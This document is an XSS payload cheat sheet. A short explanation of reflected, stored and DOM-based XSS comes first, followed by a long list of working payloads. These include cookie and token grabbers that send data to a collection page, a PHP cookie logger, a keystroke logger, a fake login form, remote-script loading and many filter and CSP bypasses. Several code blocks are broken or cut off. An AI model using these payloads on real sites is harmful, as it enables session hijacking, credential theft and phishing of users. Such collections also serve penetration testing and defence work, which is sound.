## Vulnerability Details

Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS allows attackers to inject malicious code into a website, which is then executed in the browser of anyone who visits the site. This can allow attackers to steal sensitive information, such as user login credentials, or to perform other malicious actions.

There are 3 main types of XSS attacks:

* **Reflected XSS**: In a reflected XSS attack, the malicious code is embedded in a link that is sent to the victim. When the victim clicks on the link, the code is executed in their browser. For example, an attacker could create a link that contains malicious JavaScript, and send it to the victim in an email. When the victim clicks on the link, the JavaScript code is executed in their browser, allowing the attacker to perform various actions, such as stealing their login credentials.

* **Stored XSS**: In a stored XSS attack, the malicious code is stored on the server, and is executed every time the vulnerable page is accessed. For example, an attacker could inject malicious code into a comment on a blog post. When other users view the blog post, the malicious code is executed in their browsers, allowing the attacker to perform various actions.

* **DOM-based XSS**: is a type of XSS attack that occurs when a vulnerable web application modifies the DOM (Document Object Model) in the user's browser. This can happen, for example, when a user input is used to update the page's HTML or JavaScript code in some way. In a DOM-based XSS attack, the malicious code is not sent to the server, but is instead executed directly in the user's browser. This can make it difficult to detect and prevent these types of attacks, because the server does not have any record of the malicious code.

To prevent XSS attacks, it is important to properly validate and sanitize user input. This means ensuring that all input meets the necessary criteria, and removing any potentially dangerous characters or code. It is also important to escape special characters in user input before rendering it in the browser, to prevent the browser from interpreting it as code.


## Exploit code or POC

### Data grabber for XSS

Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page.

```html
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>
```

Write the collected data into a file.

```php
<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
```

### CORS

```html
<script>
  fetch('https://<SESSION>.burpcollaborator.net', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
  });
</script>
```

### UI redressing

Leverage the XSS to modify the HTML content of the page in order to display a fake login form.

```html
<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>
```

### Javascript keylogger

Another way to collect sensitive data is to set a javascript keylogger.

```javascript
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
```

## Identify an XSS endpoint

This payload opens the debugger in the developer console rather than triggering a popup alert box.

```javascript
<script>debugger;</script>
```

Modern applications with content hosting can use [sandbox domains][sandbox-domains]

> to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data.

[sandbox-domains]:https://security.googleblog.com/2012/08/content-hosting-for-modern-web.html

For this reason, it's better to use `alert(document.domain)` or `alert(window.origin)` rather than `alert(1)` as default XSS payload in order to know in which scope the XSS is actually executing.

Better payload replacing `<script>alert(1)</script>`:

```html
<script>alert(document.domain.concat("\n").concat(window.origin))</script>
```

While `alert()` is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so `console.log()` can be used instead to display a message in the console of the developer console (doesn't require any interaction).

Example:

```html
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>
```

Most tools are also suitable for blind XSS attacks:

* [XSSStrike](https://github.com/s0md3v/XSStrike): Very popular but unfortunately not very well maintained
* [xsser](https://github.com/epsylon/xsser): Utilizes a headless browser to detect XSS vulnerabilities
* [Dalfox](https://github.com/hahwul/dalfox): Extensive functionality and extremely fast thanks to the implementation in Go

```

### XSS using HTML5 tags

```javascript
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>

<body ontouchstart=alert(1)> // Triggers when a finger touch the screen
<body ontouchend=alert(1)>   // Triggers when a finger is removed from touch screen
<body ontouchmove=alert(1)>  // When a finger is dragged across the screen.
```

### XSS using a remote JS

```html
<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>
// you can also specify an arbitrary payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)
```

### XSS in hidden input

```javascript
<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event
```

### XSS when payload is reflected capitalized

```javascript
<IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>
```

### DOM based XSS

Based on a DOM XSS sink.

```javascript
#"><img src=/ onerror=alert(2)>
```

### XSS in JS Context

```javascript
-(confirm)(document.domain)//
; alert(1);//
// (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)
```

## XSS in wrappers javascript and data URI

XSS with javascript:

```javascript
javascript:prompt(1)

%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

We can encode the "javascript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)

We can use a 'newline character'
java%0ascript:alert(1)   - LF (\n)
java%09script:alert(1)   - Horizontal tab (\t)
java%0dscript:alert(1)   - CR (\r)

Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)

Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
```

XSS with data:

```javascript
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```

XSS with vbscript: only IE

```javascript
vbscript:msgbox("XSS")
```

## XSS in files

** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.

  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
```

### XSS in XML

## Blind XSS

### XSS Hunter

> XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.

XSS Hunter is deprecated, it was available at [https://xsshunter.com/app](https://xsshunter.com/app).

You can set up an alternative version
* Self-hosted version from [mandatoryprogrammer/xsshunter-express](https://github.com/mandatoryprogrammer/xsshunter-express)
* Hosted on [xsshunter.trufflesecurity.com](https://xsshunter.trufflesecurity.com/)

### Tips

You can use a [Data grabber for XSS](#data-grabber-for-xss) and a one-line HTTP server to confirm the existence of a blind XSS before deploying a heavy blind-XSS testing tool.

Eg. payload

```html
<script>document.location='http://10.10.14.30:8080/XSS/grabber.php?c='+document.domain</script>
```

Eg. one-line HTTP server:

```
$ ruby -run -ehttpd . -p8080
```

## Mutated XSS

Use browsers quirks to recreate some HTML tags when it is inside an `element.innerHTML`.

Mutated XSS from Masato Kinugawa, used against DOMPurify component on Google Search. Technical blogposts available at https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/ and https://research.securitum.com/dompurify-bypass-using-mxss/.

```javascript
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
```

## Filter Bypass and exotic payloads

### Bypass case sensitive

```javascript
<sCrIpt>alert(1)</ScRipt>
```

### Bypass tag blacklist

```javascript
<script x>
<script x>alert('XSS')<script y>
```

### Bypass word blacklist with code evaluation

```javascript
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
```

### Bypass with incomplete html tag

Works on IE/Firefox/Chrome/Safari

```javascript
<img src='1' onerror='alert(0)' <
```

### Bypass quotes for string

```javascript
String.fromCharCode(88,83,83)
```

### Bypass quotes in script tag

```javascript
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
  <script>
    <?php echo 'foo="text '.$_GET['test'].'";';`?>
  </script>
</html>
```

### Bypass quotes in mousedown event

You can bypass a single quote with &#39; in an on mousedown event handler

```javascript
<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>
```

### Bypass dot filter

```javascript
<script>window['alert'](document['domain'])</script>
```

Convert IP address into decimal format: IE. `http://192.168.1.1` == `http://3232235777`
http://www.geektools.com/cgi-bin/ipconv.cgi

```javascript
<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script>
```

Base64 encoding your XSS payload with Linux command: IE. `echo -n "alert(document.cookie)" | base64` == `YWxlcnQoZG9jdW1lbnQuY29va2llKQ==`

### Bypass parenthesis for string

```javascript
alert`1`
setTimeout`alert\u0028document.domain\u0029`;
```

### Bypass parenthesis and semi colon

```javascript
// From @garethheyes
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

// From @terjanq
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

// From @cgvwzq
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
```

### Bypass onxxxx= blacklist

```javascript
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>

// Bypass onxxx= filter with a null byte/vertical tab
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />

// Bypass onxxx= filter with a '/'
<img src='1' onerror/=alert(0) />
```

### Bypass space filter

```javascript
// Bypass space filter with "/"
<img/src='1'/onerror=alert(0)>

// Bypass space filter with 0x0c/^L
<svgonload=alert(1)>

$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c  <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a                   ert(1).>.
```

### Bypass email filter

([RFC compliant](http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate))

```javascript
"><svg/onload=confirm(1)>"@x.y
```

### Bypass document blacklist

```javascript
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
window["doc"+"ument"]
```

### Bypass document.cookie blacklist

This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements.

```
window.cookieStore.get('COOKIE NAME').then((cookieValue)=>{alert(cookieValue.value);});
```

### Bypass using javascript inside a string

```javascript
<script>
foo="text </script><script>alert(1)</script>";
</script>
```

### Bypass using an alternate way to redirect

```javascript
location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"
```

### Bypass using an alternate way to execute an alert

From [@brutelogic](https://twitter.com/brutelogic/status/965642032424407040) tweet.

```javascript
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)

[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
```

From [@theMiddle](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/) - Using global variables

The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its **index number instead the function name**.

```javascript
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
// 5
```

Then calling alert is :

```javascript
Object.keys(self)[5]
// "alert"
self[Object.keys(self)[5]]("1") // alert("1")
```

We can find "alert" with a regular expression like ^a[rel]+t$ :

```javascript
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //bind function alert on new function a()

// then you can use a() with Object.keys

self[Object.keys(self)[a()]]("1") // alert("1")
```

Oneliner:
```javascript
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1")
```

From [@quanyang](https://twitter.com/quanyang/status/1078536601184030721) tweet.

```javascript
prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'
```

From [@404death](https://twitter.com/404death/status/1011860096685502464) tweet.

```javascript
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;

constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();

top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);

open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';

setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
```

Bypass using an alternate way to trigger an alert

```javascript
var i = document.createElement("iframe");
i.onload = function(){
  i.contentWindow.alert(1);
}
document.appendChild(i);

// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
      var proxy = obj[name];
      obj[name] = function () {
        if (exec_original) {
          return proxy.apply(this, arguments);
        }
      };
      XSSObject.lockdown(obj, name);
  };
XSSObject.proxy(window, 'alert', 'window.alert', false);
```

### Bypass ">" using nothing

You don't need to close your tags.

```javascript
<svg onload=alert(1)//
```

### Bypass "<" and ">" using ＜ and ＞

Unicode Character U+FF1C and U+FF1E

'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
```

### Bypass using HTML encoding

```javascript
%26%2397;lert(1)
&#97;&#108;&#101;&#114;&#116;
></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>

### Bypass CSP by [lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa)

Works for CSP like `Content-Security-Policy: default-src 'self' 'unsafe-inline';`, [POC here](http://hsts.pro/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;)

```js
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
```

### Bypass CSP by [Rhynorater](https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f)
